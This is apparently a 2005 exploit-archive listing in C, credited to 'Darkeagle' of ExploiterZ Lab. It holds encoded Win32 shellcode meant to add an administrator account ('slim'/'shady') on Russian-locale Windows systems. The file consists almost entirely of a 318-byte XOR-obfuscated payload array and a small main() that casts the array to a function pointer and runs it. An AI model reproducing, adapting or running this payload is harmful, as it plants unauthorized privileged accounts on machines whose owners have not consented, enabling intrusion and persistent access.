42 lines
No EOL
2.2 KiB
C
42 lines
No EOL
2.2 KiB
C
/*
|
|
\ win32 useradd shellcode for russian systems
|
|
/ by Darkeagle
|
|
\ ExploiterZ Lab
|
|
/ http://exploiterz.org
|
|
\
|
|
*/
|
|
|
|
// add user "slim" with password "shady" with admin prem. in Russian Systems
|
|
unsigned char data[318] = {
|
|
0xEB, 0x0F, 0x58, 0x80, 0x30, 0x17, 0x40, 0x81, 0x38, 0x6D, 0x61, 0x7A, 0x61, 0x75, 0xF4, 0xEB,
|
|
0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF, 0xFE, 0xB6, 0x17, 0x17, 0x17, 0x4A, 0x42, 0x26, 0xCC, 0x73,
|
|
0x9C, 0x14, 0x57, 0x84, 0x9C, 0x54, 0xE8, 0x57, 0x62, 0xEE, 0x9C, 0x44, 0x14, 0x71, 0x26, 0xC5,
|
|
0x71, 0xAF, 0x17, 0x07, 0x71, 0x96, 0x2D, 0x5A, 0x4D, 0x63, 0x13, 0x3E, 0xD5, 0xFC, 0xE2, 0x9E,
|
|
0xC4, 0x9C, 0x6D, 0x2B, 0x16, 0xC0, 0x14, 0x48, 0x6F, 0x9C, 0x5C, 0x0F, 0x9C, 0x64, 0x37, 0x9C,
|
|
0x6C, 0x33, 0x16, 0xC1, 0x16, 0xC0, 0xEB, 0xBA, 0x16, 0xC7, 0x81, 0x90, 0xEA, 0x46, 0x26, 0xDE,
|
|
0x97, 0xD6, 0x18, 0xE4, 0xB1, 0x65, 0x1D, 0x81, 0x4E, 0x90, 0xEA, 0x63, 0x18, 0x50, 0x50, 0xF5,
|
|
0xF1, 0xA9, 0x18, 0x17, 0x17, 0x17, 0x3E, 0xD9, 0x3E, 0xE0, 0xFC, 0xFC, 0x26, 0xD7, 0x71, 0x9C,
|
|
0x10, 0xD6, 0xF7, 0x15, 0x9C, 0x64, 0x0B, 0x16, 0xC1, 0x16, 0xD1, 0xBA, 0x16, 0xC7, 0x9E, 0xD1,
|
|
0x9E, 0xC0, 0x4A, 0x9A, 0x92, 0x0B, 0x17, 0x17, 0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x12, 0x17,
|
|
0x17, 0x17, 0x9A, 0x9A, 0x27, 0x17, 0x17, 0x17, 0x46, 0xE8, 0xC7, 0x9A, 0x92, 0x33, 0x17, 0x17,
|
|
0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x17, 0x17, 0x17, 0x17, 0xE8, 0xC7, 0xFF, 0x4D, 0xE8, 0xE8,
|
|
0xE8, 0x50, 0x72, 0x63, 0x47, 0x65, 0x78, 0x74, 0x56, 0x73, 0x73, 0x65, 0x72, 0x64, 0x64, 0x17,
|
|
0x5B, 0x78, 0x76, 0x73, 0x5B, 0x7E, 0x75, 0x65, 0x76, 0x65, 0x6E, 0x56, 0x17, 0x40, 0x7E, 0x79,
|
|
0x52, 0x6F, 0x72, 0x74, 0x17, 0x52, 0x6F, 0x7E, 0x63, 0x47, 0x65, 0x78, 0x74, 0x72, 0x64, 0x64,
|
|
0x17, 0x74, 0x7A, 0x73, 0x37, 0x38, 0x74, 0x37, 0x79, 0x72, 0x63, 0x37, 0x62, 0x64, 0x72, 0x65,
|
|
0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x37, 0x64, 0x7F, 0x76, 0x73, 0x6E,
|
|
0x31, 0x31, 0x79, 0x72, 0x63, 0x37, 0x7B, 0x78, 0x74, 0x76, 0x7B, 0x70, 0x65, 0x78, 0x62, 0x67,
|
|
0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0xF7, 0xF3, 0xFB, 0xFF, 0xFA, 0xFF, 0xE6, 0xE5, 0xE7, 0xF7,
|
|
0xE5, 0xF9, 0xE7, 0xEC, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x17, 0x6D, 0x61, 0x7A, 0x61
|
|
};
|
|
|
|
int main()
|
|
{
|
|
|
|
void (*c0d3)();
|
|
printf("Win32 \"adduser shellcode\"\n");
|
|
*(int*)&c0d3 = data;
|
|
c0d3();
|
|
}
|
|
|
|
// milw0rm.com [2005-10-28]
|